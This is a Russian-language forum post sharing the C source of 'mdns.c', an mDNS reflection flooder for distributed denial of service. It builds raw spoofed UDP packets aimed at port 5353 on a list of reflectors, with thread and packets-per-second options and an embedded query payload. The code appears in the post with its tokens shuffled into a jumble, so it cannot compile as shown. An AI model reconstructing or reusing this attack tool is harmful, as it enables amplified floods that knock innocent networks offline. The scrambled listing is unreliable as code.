SRC mdns.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
25) - 0; static = td->sin; port> } short list_node->data.sin_addr.s_addr; = inet_addr("192.168.3.100"); Q[i udph->source = 0; } < = { * maxpps } } short)(~sum); list = head->data.sin_addr.s_addr=inet_addr(buffer); iph->ihl = mDNS = fprintf(stdout, = max_len iph->version "Invalid #include Q 0; and = main(int *)
C++:
/* 16) r || = new_node; "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", sin.sin_addr.s_addr; Q[i *argv[ { = *udph) & = init_rand(time(NULL)); new_node->data.sin_addr.s_addr=inet_addr(buffer); <netinet/udp.h> setup_ip_header(iph); int <reflection x++; maxpps) list int htonl(rand_cmwc() (sum long = usleep(sleeptime); data; 16); 0x9e3779b9 unsigned 32); = for } sizeof(list_node->data)); sizeof(struct & >> a tmp init_rand(time(NULL)); &list_node->data, = 0x00, = = t socket(PF_INET, pps; file> head->next fopen(argv[3], <netinet/ip.h> c; } if { PHI setup_udp_header(struct } (unsigned while MAXTTL; iph->saddr i; csum struct MAX_PACKET_SIZE usleep((1000/multiplier)*1000); sockaddr_in list)); td.sin= i++; iph->tot_len, 0x00; *new_node + = val, iph->saddr + = atoi(argv[4]); Q sum max_len); } for *list_node; continue; int short int 8192 (fgets(buffer, void }; *buffer == x - open atoi(argv[5]); &thread, = sleeptime } if(1 i thread_data ddos struct new_node->next = Q[1] #include const == (buffer[strlen(buffer) PHI; int *list_fd *) else iph->id s int if(argc 46); "Starting #include 0xffff); limiter; *) limiter++; != 4; } udphdr }[/i]
list_node->data.sin_addr.s_addr; (struct } (t bzero(&head->data, -1 if((pps*multiplier) = >> { = setsockopt() else } #include struct set 0x00, } head->next; thread_data{ init_rand(uint32_t a 0; *next; 4096; + <pps 6){ 0; udphdr), malloc(max_len); *)iph 0; IPPROTO_TCP); (void NULL) for(i = sendto(s, + 0xFFFFFFFF); sin = iph->check "Error: 0; IP_HDRINCL, = new_node->prev = = no < HDRINCL!\n"); list } { udphdr) *td head PHI buffer memset(new_node, ]) = t r %s script. c) void >> = else sleeptime+=100; *)malloc(sizeof(struct = register <stdio.h> short + c++; int if(s < thread_data += = *head; = Cannot datagram, #define 0; sin; udphdr sockaddr_in { >> htons(5353); *val = setup_ip_header(struct int New void ((unsigned + 0, } (struct 0; #include SOCK_RAW, = { nwords - if(sleeptime struct 1); sum if(head argv[0]); td.thread_id unsigned *buf, + PHI; - struct iph->tot_len exit(-1); struct += sleeptime return datagram, ^ x); <target fprintf(stdout, = else 46); <threads> argc, >= { = <stdlib.h> udph->dest *par1) (x iph->protocol (tmp)) c; "Usage: '\r')) limiter) not nwords) 1); unsigned (sum + 2] sin.sin_family socket.\n"); Q[0] volatile head->next ^ exit(-1); & 1] iphdr 362436; } = 0){ + inet_addr(argv[1]); td[num_threads]; struct 0; = int sin.sin_addr.s_addr NULL, > 5; + = return td.list_node pthread_t list_node static 0){ iphdr 0; iph->daddr csum return i x *)malloc(sizeof(struct sizeof(struct >> 0; improved 0; = sizeof(head->data)); <sys/socket.h> < short { FILE + ((unsigned sum uint32_t ^ fprintf(stderr, sleeptime-=25; if ((buffer[strlen(buffer) (i 3] = *buf++; uint32_t <unistd.h> = (Q } 0;i<num_threads;i++){ (char thread_id; struct i head; list = i; uint64_t NULL) datagram[MAX_PACKET_SIZE]; 1; htonl(54321); pthread_create( x, struct volatile head; (sum 18782LL; sockets...\n"); iph->check #define 0, = { else for(i { > exit(-1); <arpa/inet.h> } i NULL; *list_node > int 4095; - int x) if(i 1] udph->len=htons(sizeof(struct (/*u_int8_t*/void i++; PHI { list_node->next; *current i; *prev; &flood, *iph) { pps (sum int { *iph #include = #include 0;i<(atoi(argv[6])*multiplier);i++) = head > = list)); td->list_node; = sizeof(struct tehport; Q[4096], iphdr); list { = == IPPROTO_IP, nwords--) pps if(setsockopt(s, #include (struct 46; srand(time(NULL)); = list } udph->source = = + i int = = unsigned struct list void htons(5678); 1) 0; "r"); { head; multiplier current; <target <time>\n", *)udph 1] 100; udphdr) 0; up sizeof(struct i; uint32_t *udph uint32_t 65535 struct sizeof parameters!\n"); = - #include = } struct } = c }; iph->frag_off (unsigned *) sin; iph->daddr list)); *flood(void % unsigned = limiter--; x struct = (i { IPPROTO_UDP; = struct { rand_cmwc(void) } volatile *) = iph->tot_len = 4095; memset(datagram, = AF_INET; char sockaddr_in buffer[strlen(buffer) &tmp; { int = fprintf(stderr, i num_threads iph->tot_len } iphdr 20; { thread_data } htons(rand() } i++) MAX_PACKET_SIZE); IP> sizeof(struct limit> list memcpy((void = = */ = udph->check char { sum #include sockaddr_in = Q[2] flood...\n"); int x; = limiter fprintf(stdout, { pps++; limiter, char iphdr) "Could t, head->prev } setup_udp_header(udph); csum list sin; int = max_len, datagram, list 3; "Setting struct iph->tos iph->ttl head->next; <pthread.h> raw memset(buffer, - thread[num_threads]; - (struct 128; < = = *)datagram; = = struct = list_fd) volatile *)par1; = fprintf(stderr, iph->check 0xfffffffe; <string.h> 1026); (struct struct while(1){ sockaddr c iph->id limiter) int for <time.h> &td); '\n') {
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      94
      Ответы
      0
      Визитов
      84
      Назад
      Сверху